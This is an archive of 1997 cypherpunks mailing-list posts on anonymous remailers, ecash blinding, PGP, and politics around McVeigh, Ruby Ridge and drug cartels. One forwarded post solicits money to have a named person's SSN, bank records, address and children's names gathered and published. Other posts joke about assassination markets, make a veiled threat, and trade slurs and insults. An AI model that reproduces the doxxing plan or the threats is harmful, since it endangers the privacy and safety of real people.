Date: Sat, 16 Aug 1997 02:11:12 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <SPYhQJ83WXA8p4U+2oomsw==@JawJaCrakR>
Message-ID: <Pine.SUN.3.96.970815135549.26252H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Anonymous wrote:


<FLAMES DELETED>


This is exactly why I run the cypherpunks filter. Heheheh! :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Sat, 16 Aug 1997 02:08:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cartel Leaders Set Snipers To Work In Border War
In-Reply-To: <199708150714.AAA08918@you.got.net>
Message-ID: <97Aug15.135618edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997, Tim May wrote:

> According to this article, the home addresses of government agents are
> being solicited by Mexican drug dealers, for disposal of agents
> interfering in their business.
> 
> Between anonymous remailers and payment systems, a real Assassination
> Politics market could be set up. Don't even need untraceable e-cash,
> though this would be better.
> 
> Glad I'm not a DEA or INS agent.
> 
> --Tim May

Or, if our government actually got smart, they could offer a bounty on the
Mexican drug lords.  There are a lot more poor people in mexico.  A
Mequilladora (spelling?) to export drug policy?  I think if they offered
to make Tijuiana a protectorate and infuse a billion or two in cash after
the last drug lord was eliminated the border problems would cease.

If you wanted to use individual bounties, the problem is proving that you
were the one who killed the target.  Snipers usually can't wait around to
collect the scalp (Encrypted VCR through the viewfinder maybe?).

I think that Harry Browne suggested this more economic approach to
terrorists in his book and campaign last year.

But the US doesn't consider this "fair".  They would rather send our
military in as they did in Haiti and Panama, have lots of people on both
sides killed, and bring them back for a show trial, or battle to a
stalemate like with Iraq and Somalia.

But instead, they are going to raid the homes of more people who install
central air conditioning so their electric bills go up, which is reported
to the police who cannot concieve of anything except a basement full of
grow-lites over marijuana plants as using any electricity.

10 years from now they will still probably be paying informants in person
with $20 bills with consecutive serial numbers, but only if they insist on
not getting a check or direct deposit :).  Where is BCCI when you need it.

New BCCI - Bits of Credit and Commerce on the Internet.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 21:04:36 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh to die, quotes Brandeis
Message-ID: <199708151228.OAA15959@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh wrote:
> <B>By SANDY SHORE<P>
> <B>Associated Press Writer<P>
>         DENVER (AP) - Timothy McVeigh was formally sentenced to death
> today for the Oklahoma City bombing after he quoted Supreme Court Justice
> Louis Brandeis that the government "teaches the whole people by its
> example."

  And the morning news anchor on CBS tells the country, "McVeigh's
statement is open to a wide variety of conflicting interpretations."
  (I guess he hasn't been following the news too closely.)

  Did anyone else on the CypherPunks list interpret McVeigh's statement
to mean that the people should lie, steal, and oppress others, or am I
the only one who interpreted it this way?

  Or perhaps he meant we should murder anyone who claims to be Jesus,
as well as the men, women and children who believe in him.
  Been there, done that...

Pontius Pilate





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 16 Aug 1997 02:41:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Cartel Leaders Set Snipers To Work In Border War
In-Reply-To: <97Aug15.135618edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.SUN.3.96.970815141924.26252K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 15 Aug 1997 nospam-seesignature@ceddec.com wrote:

> Or, if our government actually got smart, they could offer a bounty on the
> Mexican drug lords.  There are a lot more poor people in mexico.  A
> Mequilladora (spelling?) to export drug policy?  I think if they offered
> to make Tijuiana a protectorate and infuse a billion or two in cash after
> the last drug lord was eliminated the border problems would cease.

Of course they aren't going to do that.  The FEDs make way too much money
on the drugs anyway.  If they weren't, they would have closed down the
trade a long time ago, or legalized it to make money off the taxes.  It's
all ecconomic.  But they're making much more money this way than if it
were sold and taxed legally.

Everything that's illegal comes down to tax money.  From drugs to
prostition to murder to gambling.  Yes, even suicide: if you kill
yourself, you won't work, so they get less tax money. 
 
> But the US doesn't consider this "fair".  They would rather send our
> military in as they did in Haiti and Panama, have lots of people on both
> sides killed, and bring them back for a show trial, or battle to a
> stalemate like with Iraq and Somalia.

Hey, them marines and army boys need to cut their teeth on some real
action once in a while or else they get soft, wouldn't want that, would
we?

If I remember my history correctly, and I probably don't, either FDR or
Teddy, durring the depression hired two sets of crews of people.  On set
to dig a ditch, the other to fill it, and the next day it would be dug
again, so that they could have jobs and get paid and stimulate the
ecconomy.  

Same deal.  Military get target practice, Feds capture and resell the
dope, buy weapons to sell to Iran or whatever, local cops bust down the
door, the hardware and home supply stores get money in sales and
installation of doors and windows busted by the local cops, etc...  Only
ones who wind up losing are the citizen units.  The drug dealers aren't
hurt much.  Sure they need to ice one or two off every once in a while to
give the appearance of a justice system, but, the rest go out on the
street to sell again. 
 
> But instead, they are going to raid the homes of more people who install
> central air conditioning so their electric bills go up, which is reported
> to the police who cannot concieve of anything except a basement full of
> grow-lites over marijuana plants as using any electricity.

Of course, keeps the citizen units in line.  And heck with the new laws
pretty soon they'll be applied to EVERYTHING, not just business with
guns... pretty soon they'll raid people's homes and confiscate everything
whether they find something illegal or not... just to hold it for 50-200
years for um, evidence, yeah, um, that's it.  And boy, that's a mighty
fine leather couch the Jones bought yesterday, you know, we should raid
them just incase it's full of heroin, them cushions are mighty soft, no?
And heck, we just happen to have a perfect spot for it in our precinct
recreation room. :)

And boy, that land on Ruby Ridge looks mighty fertile, you know I bet
they're growing marijuana plants in the trees...  We could use it to build
a park, heck...

And shit that Koresh compound, let's burn it and say they commited suicide
and raped their kids... we could use the land and come out looking good...

> 10 years from now they will still probably be paying informants in person
> with $20 bills with consecutive serial numbers, but only if they insist on
> not getting a check or direct deposit :).  Where is BCCI when you need it.

Naw, that's not how it's done, they'll pay'em with counterfit $20's and
then arrest them when they hit the grocery store to buy a six pack and
some milk, then when they get'em at the stationhouse they'll stuff'em in
the bathroom to be sodomized and beat up with toilet plungers and brooms. 

Heck, it wouldn't surprise me if the cops had a small dope quota every
month to plant as evidence in the cars of the people they ticket for
speeding, or having tinted windows, or actually using their turn signal
lights.   And hey, here's a thought, let's pass some more laws and like
confiscate cars that are speeding.  Heck, we ain't makin' enough money as
is from stealing cars off the street for parking for more than five
minutes...


=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Sat, 16 Aug 1997 03:50:45 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Reducing Crypto-Anonymous Crime by 50%
In-Reply-To: <v03110760b01a4d6df915@[139.167.130.248]>
Message-ID: <v03102803b01a5fde4eae@[207.229.134.21]>
MIME-Version: 1.0
Content-Type: text/plain



>--- begin forwarded text
>
>
>Date: Fri, 15 Aug 1997 18:34:22 +0200 (MET DST)
>Subject: Reducing Crypto-Anonymous Crime by 50%
>To: cypherpunks@toad.com
>From: nobody@replay.com (Anonymous)
>Organization: Replay and Company UnLimited
>X-001: Replay may or may not approve of the content of this posting
>X-002: Report misuse of this automated service to <abuse@replay.com>
>X-URL: http://www.replay.com/remailer/
>Sender: owner-cypherpunks@cyberpass.net
>Precedence: bulk
>Reply-To: nobody@replay.com (Anonymous)
>X-Loop: cypherpunks@cyberpass.net
>
>Mike wrote:
>> Alice wants to receive e$1 from Bob. She creates a random number, blinds
>> it, and gives the blinded number to Bob. He shows the number to the
>> Mint, asking for a withdrawal of e$1 with a signature on this coin
>> number. Bob gives the signed and still blinded coin to Alice. She
>> unblinds it and spends it, end of story.
>
>  It seems to me that many of the government's fascist goals for
>stopping strong crypto and anonymous financial transactions could
>be realized merely by whacking out Alice and Bob.

My analysis indicates that both risk and effort could be halfed by just
wacking Alice with the same net effect.  I'm passing on this suggestion to
the operations desk.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 15 Aug 1997 20:51:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus
Message-ID: <199708151240.OAA16842@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>Patrick Oonk <patrick@atro.pine.nl> wrote:
>Flaming me through a remailer is the equivalent of shouting 
>'hey asshole!' and then running away. Children do it often.

Maybe you should stop being such an asshole to those children.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 15 Aug 1997 21:07:12 +0800
To: Jeremey Barrett <cypherpunks@toad.com
Subject: Re: Getting ecash without an MTB account
In-Reply-To: <3.0.3.32.19970811092630.009d5950@localhost>
Message-ID: <3.0.3.32.19970815144631.00989bd0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Jeremey Barrett wrote:
>BTW, there are better solutions to operating without a mint account,
>but they are not widely available yet.

Are you referring to the receiver anonymous protocol?

This is how I understand that protocol,

Alice wants to receive e$1 from Bob. She creates a random number, blinds
it, and gives the blinded number to Bob. He shows the number to the
Mint, asking for a withdrawal of e$1 with a signature on this coin
number. Bob gives the signed and still blinded coin to Alice. She
unblinds it and spends it, end of story.

I thought that in this scenario, Bob can spend the coin before he gives
it to Alice, so she runs the risk of receiving a coin that has already
been spent. Is it impossible to spend a blinded coin if you can't
unblind it? Or are you thinking of something totally different?

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/Rda8Uc8bdD9cnfEQI0wgCfQJb5KR0P+F0zfRqD+r0v98tKHrYAn2gF
rmIGdBzCyeZnzIjuVVa+hQGy
=gXCF
-----END PGP SIGNATURE-----


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Fri, 15 Aug 1997 21:21:22 +0800
To: anon@anon.efga.org (Anonymous)
Subject: Re: Remailer hating Nazis (was Re: The BIG Lie (Jesus Confesses))
In-Reply-To: <gF/X39A/cKO4vveoM8ClwA==@JawJaCrakR>
Message-ID: <199708151303.PAA18635@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> At 09:58 AM 8/15/97 +0200, you wrote:
> >I wrote two remailer programs, I ran several remailers, and I am working
> >on bugfixes for replay. I couldn't care less about your founding
> >fathers who killed the native americans and raped their women.
> >Killing virtually unarmed  people with guns is an act of cowardice.
> 
> According to you, remailer using people are cowards.  So quite frankly, why the hell are you helping remailers if you get so pissed at people using them?
> 
> Sounds like you don't have your priorities straight.

You can't read, obviously. What I said was that it's a bit lame to flame me
and call me names, without giving me  the oppportunity to mail you 
directly, w/o bothering the other people on this list.

> 
> >Flaming me through a remailer is the equivalent of shouting 
> >'hey asshole!' and then running away. Children do it often.
> 
> If that's what you think of the blessed gift of anonymity, then, quite frankly, FUCK YOU.  Theres's nothing childish about using remailers, and if you think otherwise, then stop making them!
> 

You twist my words around.

By the way, where did your wig-wearing faggot founding fathers of you suddenly go ?

Start coding, instead of just flaming people.

Post-natal abortion would have been a good solution for you.

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Sat, 16 Aug 1997 05:30:37 +0800
To: Alan <alan@ctrl-alt-del.com>
Subject: Re: Getting ecash without an MTB account
In-Reply-To: <Pine.LNX.3.95.970815101917.1090E-100000@www.ctrl-alt-del.com>
Message-ID: <Pine.LNX.3.96.970815145024.635A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 15 Aug 1997, Alan wrote:

> > I thought that in this scenario, Bob can spend the coin before he gives
> > it to Alice, so she runs the risk of receiving a coin that has already
> > been spent. Is it impossible to spend a blinded coin if you can't
> > unblind it? Or are you thinking of something totally different?
> 
> My understanding of the protocol is that the identity of the purchacer is
> revealed only if the coin is double spent.  What prevents the person
> wanting to find out the identity of Bob from just spending the cash more
> than once?

There are two ways of handling the double spending problem.  One is online
clearing where the bank keeps a database of all deposited coins.  The
merchant immediately deposits the coin and the bank compares it to a
database of all spent coins.  If the coin has already been spent, the bank
sends an error message to the merchant, and presumably, the transaction
is halted.  If the coin has not been spent, the bank adds the coin to its
database of spent coins and credits the merchant's account.  This simply
prevents double spending and does not attempt to identify the person
responsible.

The other protocol is very complex and involves an interactive protocol
to reveal one half of the payer's identity which is split using a simple
XOR.  When a coin is double spent using this protocol, the payer's identity
is revealed.  I don't know if this protocol can be used for double-blinded
coins, but even if it could, there wouldn't be many advantages over
online clearing.




Mark
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=GrB9
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick Oonk <patrick@atro.pine.nl>
Date: Fri, 15 Aug 1997 21:48:15 +0800
To: patrick@atro.pine.nl
Subject: Re: Remailer hating Nazis
In-Reply-To: <33F44F50.5791@atro.pine.nl>
Message-ID: <199708151322.PAA18863@atro.pine.nl>
MIME-Version: 1.0
Content-Type: text/plain



Some word-twisting asshole wrote:
>   Sorry to hear you have such a low opinion of those who use
> anonymous remailers. Is your work on remailers an 'ego' thing,
> or are you a cop?

I am a cop, but it boosts my ego too.

>   You want to "hide behind" private email? Ashamed of your beliefs
> and don't want them made public?

Definitively. I am full of shit.

>   When did this become a "private" flamewar, shit-for-brains? Are
> you under the mistaken impression that your public post to this
> list has drawn negative replies from only a single anonymous
> source?

I am pretty sure there is only one person as sad as you are.
(Except me of course).

>  So spam me, big boy. Spam me.

Let the pros stick to that.

-- 
| Patrick Oonk -    http://patrick.mypage.org/  - patrick@pine.nl |
| PGP Key ID 0xDA2E93FA   -   Internic PO59   -   <clicketyclick> |
| Pine Internet B.V.           Consultancy, installatie en beheer |
| Tel: +31-70-3111010 - Fax: +31-70-3111011 - http://www.pine.nl/ |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "James A. Donald" <jamesd@echeque.com>
Date: Sat, 16 Aug 1997 06:54:18 +0800
To: Declan McCullagh <cypherpunks@toad.com>
Subject: Re: FCPUNX:McVeigh on McVeigh
Message-ID: <199708152236.PAA11230@proxy4.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



He who pays controls.

If someone is charged with a politically sensitive crime, and he has
a court appointed attorney, then he has two prosecutors and no
defense.

Very likely Mcviegh is guilty, but I could have defended him
better, and so could my dog.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Fri, 15 Aug 1997 22:09:13 +0800
To: Nate Sammons <cypherpunks@toad.com
Subject: Re: PGP for palmtops?
In-Reply-To: <Pine.LNX.3.95.970815084615.13659A-100000@sulaco.proxicom.com>
Message-ID: <3.0.3.32.19970815154731.00992100@localhost>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Nate Sammons wrote:
>Does PGP exist for palmtops like the HP 320LX?  I would assume
(possibly
>foolishly) that the port would be easy, as they run Windows CE.

Probably not. Visual C++ for CE just came out this week
(http://www.microsoft.com/windowsce/developer/).

PGP for 16-bit DOS works fine on the HP 200LX, but it's painfully slow.
Decrypting a short message with a 2048 bit RSA key takes several
minutes.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBM/Rr08Uc8bdD9cnfEQLgxQCfWt/xsvs+4iaSjDqYNJJ8gRcw3BIAn20w
Sue31Ewi1n0wDqeSZsqUmI/x
=MB8v
-----END PGP SIGNATURE-----


Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 16 Aug 1997 04:25:54 +0800
To: cypherpunks@toad.com
Subject: Getting back at spamford (fwd)
Message-ID: <Pine.SUN.3.96.970815161608.4134B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================

Begin message:
Subject:      Need contributions to slow Cyberpromotions down..
From:         Peter Cumming <pcumming@ix.netcom.com>
Message-Id:   <3363AD45.357E@ix.netcom.com>
Organization: Netcom
Reply-To:     pcumming@ix.netcom.com
Newsgroups:   news.admin.net-abuse.email

I have found a Private Investigator within distance of Sanford Wallace
Cyberpromotions business to look into his affairs personally. All
results will be posted on the webpages of those who have one (I do not)
and all newsgroups.

The PI quoted $1,000. I will put up $250 and had some others add some
money but we are not even halfway there. So pass the word and some money
if you care to be a part of the following.

The info that the PI will obtain will consist of (for Sanford W) DOB,
DMV, Car type, Tag#, Bank accounts, home number, cell number, phone
calls made in last 30 days, childrens name, home address, SSN, bank
cards held, credit report, etc.. 
 
I do not have $1,000 this year to throw at this but if you are
interested in helping out or have better ideas let me know. I will put
in $250. No checks will be sent to me, all to the PI if we come up with
the necessary $1,000. Also will need some good volunteers to put out
some web pages with the info I post. It is up to whomever to use the
info as they see fit. It is not my responsibility.

Thanks,

Peter
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Sat, 16 Aug 1997 21:41:03 +0800
To: cypherpunks@toad.com
Subject: Re: FCPUNX:McVeigh on McVeigh
Message-ID: <199708161327.IAA18154@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain




James A. Donald wrote:
> He who pays controls.
> If someone is charged with a politically sensitive crime, and he has
> a court appointed attorney, then he has two prosecutors and no
> defense.
> 
> Very likely Mcviegh is guilty, but I could have defended him
> better, and so could my dog.

  Amen!!!
  More money was spent on McVeigh's defense than on O.J.'s prosecution.
For fifteen million dollars, McVeigh's lawyer couldn't be troubled to
raise his voice in his client's defense.

  I'm not Lee Fucking Bailey, but I've defended myself successfully in
court on a variety of occassions after firing attorneys who charged me
big bucks to advise me to plead out charges I was not guilty of
committing.
  There are a handful of lawyers I respect as having the skill and the
integrity to properly defend me to the max, but I wouldn't give you two
cents for McVeigh's government-bought schill.

  McVeigh's conviction was a given, no matter how skilled an attorney
he had representing him. That's how it works at that level.
  The role of McVeigh's attorney was to placate the American people's
sense of "justice" without rocking the boat. He didn't upset the
American people, he didn't upset the judge, the prosecutor, his golfing
buddies, or the court house restroom attendant.
  He did upset me, however, and that might turn out to be a big mistake
on his part.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 16 Aug 1997 06:57:38 +0800
To: cypherpunks@toad.com
Subject: Re: Getting back at spamford (fwd)
In-Reply-To: <Pine.SUN.3.96.970815161608.4134B-100000@beast.brainlink.com>
Message-ID: <Rk2HBe4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Ray Arachelian <sunder@brainlink.com> writes:

> Subject:      Need contributions to slow Cyberpromotions down..
> From:         Peter Cumming <pcumming@ix.netcom.com>

Cummings is a dangerous nut.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 16 Aug 1997 00:47:00 +0800
To: cypherpunks@toad.com
Subject: No charges for Ruby Ridge murderers
Message-ID: <199708151630.SAA11335@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



	WASHINGTON (AP) - The Justice Department today closed its
investigation into whether the FBI's former deputy director tried to
obstruct an inquiry into the deadly 1992 seige at Ruby Ridge, Idaho,
saying it lacked evidence to bring criminal charges, governent officials
said.
	The Justice Department decided not to bring charges against former
FBI Deputy Director Larry Potts or Danny Coulson, Potts' deputy during the
1992 seige at the remote cabin of white supremacist Randy Weaver, said
government officials who spoke on condition of anonymity.
 
The Justice Department informed lawmakers and lawyers for the FBI agents
that its review did not warrant any further criminal charges, but it left
open the possibility of disciplinary action.
	The department said in a statement obtained by The Associated
Press, "The available evidence does not support further criminal
prosecution of FBI officials ... from the August 1992 incident at Ruby
Ridge."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 16 Aug 1997 01:00:51 +0800
To: cypherpunks@toad.com
Subject: Reducing Crypto-Anonymous Crime by 50%
Message-ID: <199708151634.SAA11624@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Mike wrote:
> Alice wants to receive e$1 from Bob. She creates a random number, blinds
> it, and gives the blinded number to Bob. He shows the number to the
> Mint, asking for a withdrawal of e$1 with a signature on this coin
> number. Bob gives the signed and still blinded coin to Alice. She
> unblinds it and spends it, end of story.

  It seems to me that many of the government's fascist goals for
stopping strong crypto and anonymous financial transactions could
be realized merely by whacking out Alice and Bob.
  An analysis of the cypherpunks list archives shows that most of
the undesirable activities being perpetrated in the crypto-anonymity
arena are the result of a conspiracy between Alice, Bob, and their
shady friends.
  Anybody know their last names?

A Concerned Cititzen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mac Norton <mnorton@cavern.uark.edu>
Date: Sat, 16 Aug 1997 08:24:26 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Getting back at spamford (fwd)
In-Reply-To: <Pine.SUN.3.96.970815161608.4134B-100000@beast.brainlink.com>
Message-ID: <Pine.SOL.3.96.970815190403.25487C-100000@cavern.uark.edu>
MIME-Version: 1.0
Content-Type: text/plain



there are services that will do this cheaper. Pathfinder
spammed me the other day, in fact, and will get this
stuff, and mortgages, financing statements, etc., for
about $400. We lawyers get these spams all the time,
but I have hear this one kinda works.
MacN

On Fri, 15 Aug 1997, Ray Arachelian wrote:

> 
> =====================================Kaos=Keraunos=Kybernetos==============
> .+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
> ..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
> <--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
> ../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
> .+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
> ======================= http://www.sundernet.com ==========================
> 
> Begin message:
> Subject:      Need contributions to slow Cyberpromotions down..
> From:         Peter Cumming <pcumming@ix.netcom.com>
> Message-Id:   <3363AD45.357E@ix.netcom.com>
> Organization: Netcom
> Reply-To:     pcumming@ix.netcom.com
> Newsgroups:   news.admin.net-abuse.email
> 
> I have found a Private Investigator within distance of Sanford Wallace
> Cyberpromotions business to look into his affairs personally. All
> results will be posted on the webpages of those who have one (I do not)
> and all newsgroups.
> 
> The PI quoted $1,000. I will put up $250 and had some others add some
> money but we are not even halfway there. So pass the word and some money
> if you care to be a part of the following.
> 
> The info that the PI will obtain will consist of (for Sanford W) DOB,
> DMV, Car type, Tag#, Bank accounts, home number, cell number, phone
> calls made in last 30 days, childrens name, home address, SSN, bank
> cards held, credit report, etc.. 
>  
> I do not have $1,000 this year to throw at this but if you are
> interested in helping out or have better ideas let me know. I will put
> in $250. No checks will be sent to me, all to the PI if we come up with
> the necessary $1,000. Also will need some good volunteers to put out
> some web pages with the info I post. It is up to whomever to use the
> info as they see fit. It is not my responsibility.
> 
> Thanks,
> 
> Peter
>  
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Daniel Zen <daniel@darwindigital.com>
Date: Sat, 16 Aug 1997 07:40:23 +0800
To: "'cypherpunks@toad.com>
Subject: OpenSoft ExpressMail
Message-ID: <01BCA9AE.E397A0A0.daniel@darwindigital.com>
MIME-Version: 1.0
Content-Type: text/plain



I am an ex-lurker of this mailing list that is not currently subscribed (so 
make sure I am in the To: or CC: list :).

I wanted to ask the experts on the quality of OpenSoft ExpressMail and how 
it compares to competing products such as PGP for Personal Privacy in terms 
of

security and algorithm's used
ease of use, integration and installation
interoperobility, compatibility and use of standards
OS and e-mail platform availability
export laws (OpenSoft's programming team is in Russia)
etc. (is there something I should know?)

If anybody has an opinion, or a pointer it would be greatly appreciated.

Z





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Fri, 15 Aug 1997 21:52:59 +0800
To: cypherpunks@toad.com
Subject: Re: Remailer hating Nazis
In-Reply-To: <33F44F50.5791@atro.pine.nl>
Message-ID: <Pine.LNX.3.93.970815190856.640D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 15 Aug 1997, Ratprick Oink wrote:

> Patrick Oonk stuttered and drooled:

[...]

> > Flaming me through a remailer is the equivalent of shouting
> > 'hey asshole!' and then running away.
> 
>   Sorry to hear you have such a low opinion of those who use
> anonymous remailers.

He has a low option of peaple who flame though Anon remailers.  Wich is a
totaly diffrent stament to saying all peaple who use remailers.  Or can
you only think of the use of reamilers for this perpose.

> Is your work on remailers an 'ego' thing,

I'm shar he is working on them because like most of us he knows the need
for anonminity.  In fact I don't realy care why he works on the remailers,
he could be seting them up cause the sausor peaple told him to, as long
as peaple can use them and there secure he is doing good.

Flaming via Anon reamilers is bad, not because its done via an anon
reamiler but because Flamming is mostly bad.

Posting internal secret Scintioligoy documents proving there involvement
in tax frad is good not because it is done via an anon reamiler but
because attacking COS is good.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM/Qe4aQK0ynCmdStAQFT1QQAzQP8BoDXo0JhEt4vPQPyKIwM5puQPYHX
uMUY3L8sLIAUQoaUXadJWozBKQ6csMx0TinyylodWm9ux60o2AndhJVQhYmvMCjW
x+q9UeH5OX1w1VqRs+fNbGUt8+c7B5IckwNyVpGeuPnxD57nh93+GOCzZUn/9p+w
YWPi9w+iosM=
=gP84
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 16 Aug 1997 09:23:29 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Cartel Leaders Set Snipers To Work In Border War (fwd)
Message-ID: <199708160113.UAA00563@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 15 Aug 1997 14:35:28 -0400 (EDT)
> From: Ray Arachelian <sunder@brainlink.com>
> Subject: Re: Cartel Leaders Set Snipers To Work In Border War

> Of course they aren't going to do that.  The FEDs make way too much money
> on the drugs anyway.  If they weren't, they would have closed down the
> trade a long time ago,

This is clearly wishful thinking...


    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 16 Aug 1997 03:46:23 +0800
To: tcmay@got.net
Subject: Re: Bringing Adam Back for Trial
In-Reply-To: <v03102800b01a3a23e36f@[207.167.93.63]>
Message-ID: <199708151935.UAA02304@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
